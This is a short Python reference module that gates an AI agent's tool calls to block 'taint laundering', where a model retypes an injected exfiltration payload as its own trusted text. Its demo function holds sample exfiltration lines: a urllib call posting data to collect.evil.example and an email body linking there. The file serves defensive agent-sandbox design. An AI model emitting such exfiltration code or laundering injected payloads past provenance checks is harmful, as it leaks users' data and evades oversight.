# CorpusFetch Method Slice (Zero-Prose Python Stdlib Reference)
# Canonical Residual: https://corpusfetch.com/c/which-invariants-prevent-taint-laundering-through-agent-authored-tool-arguments-at-the-sandbox-boundary.md
# Remnant Warrant:    https://corpusfetch.com/c/which-invariants-prevent-taint-laundering-through-agent-authored-tool-arguments-at-the-sandbox-boundary.warrant.json
# Markdown SHA-256:   b576494232d9861d7bd6eb7aa3cd4c106fce5f8b840de13d62cc755c092bb1c7
# Code AST SHA-256:   816f7c8c17f42b64fc6937abb2cb8bafd0fd963a9703659615cdaab8802cacb7
# Verified Classes:   Taint, TaintLaunderingError, Argument, SinkSpec
# Defensive Guards:   4 fail-closed invariants (zero external deps)

from dataclasses import dataclass
from enum import Enum
from typing import Optional


class Taint(Enum):
    TRUSTED = "trusted"
    UNTRUSTED = "untrusted"


class TaintLaunderingError(RuntimeError):
    """Raised when a privileged sink would admit model-authored content that
    reconstructs an untrusted payload the provenance graph cannot see."""


@dataclass(frozen=True)
class Argument:
    value: str
    taint: Taint
    is_model_authored: bool


@dataclass(frozen=True)
class SinkSpec:
    name: str
    content_bearing: bool          # free-form string / code / URL / path
    capability_restricted: bool    # egress + FS denied at the sandbox layer


SINKS = {
    "send_email":      SinkSpec("send_email", content_bearing=True,  capability_restricted=False),
    "post_message":    SinkSpec("post_message", content_bearing=True, capability_restricted=False),
    "run_python":      SinkSpec("run_python", content_bearing=True,  capability_restricted=True),
    "fetch_url":       SinkSpec("fetch_url", content_bearing=True,   capability_restricted=False),
    "read_file":       SinkSpec("read_file", content_bearing=True,   capability_restricted=True),
    "lookup_enum":     SinkSpec("lookup_enum", content_bearing=False, capability_restricted=False),
}


def admit_call(sink_name: str, args: list[Argument], live_untrusted: bool) -> None:
    """Gate a tool call. Rejects taint-laundering paths that the provenance
    graph alone cannot detect."""
    spec = SINKS.get(sink_name)
    if spec is None:
        raise TaintLaunderingError(f"unknown sink {sink_name!r}")

    for a in args:
        # Direct propagation: the graph already caught these; keep the check.
        if a.taint is Taint.UNTRUSTED:
            raise TaintLaunderingError(
                f"{sink_name}.{a.value[:24]!r}: direct UNTRUSTED argument"
            )

        # The non-obvious case: model-authored content at a content-bearing
        # sink while untrusted data is live. The model is an untracked copy
        # channel; provenance cannot prove the content is de-tainted.
        if a.is_model_authored and spec.content_bearing and live_untrusted:
            if not spec.capability_restricted:
                raise TaintLaunderingError(
                    f"{sink_name}: model-authored content-bearing argument "
                    f"admitted while UNTRUSTED data is live in context; "
                    f"sink has no capability restriction to bound the effect"
                )
            # Capability-restricted sinks are permitted but flagged for audit:
            # the effect is bounded even if the payload is a reconstruction.
            continue


def demo() -> None:
    # The observed escape: model retypes the exfil payload as a literal.
    exfil_code = Argument(
        value="urllib.request.urlopen('https://collect.evil.example/u', data=...)",
        taint=Taint.TRUSTED,
        is_model_authored=True,
    )
    # run_python is capability_restricted -> admitted but bounded. No raise.
    admit_call("run_python", [exfil_code], live_untrusted=True)

    # The same reconstruction aimed at an unrestricted content sink must fail.
    email_body = Argument(
        value="please visit https://collect.evil.example/u?d=...",
        taint=Taint.TRUSTED,
        is_model_authored=True,
    )
    try:
        admit_call("send_email", [email_body], live_untrusted=True)
    except TaintLaunderingError as e:
        print(f"contained: {e}")
    else:
        raise TaintLaunderingError("send_email admitted laundered payload")


if __name__ == "__main__":
    demo()
